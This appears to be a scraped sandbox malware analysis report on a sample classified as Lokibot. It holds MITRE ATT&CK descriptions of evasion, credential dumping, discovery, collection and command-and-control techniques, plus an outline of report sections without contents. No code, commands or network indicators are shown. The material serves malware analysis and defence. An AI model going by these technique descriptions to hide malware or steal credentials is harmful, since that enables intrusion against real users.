Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.20770

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Lokibot

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre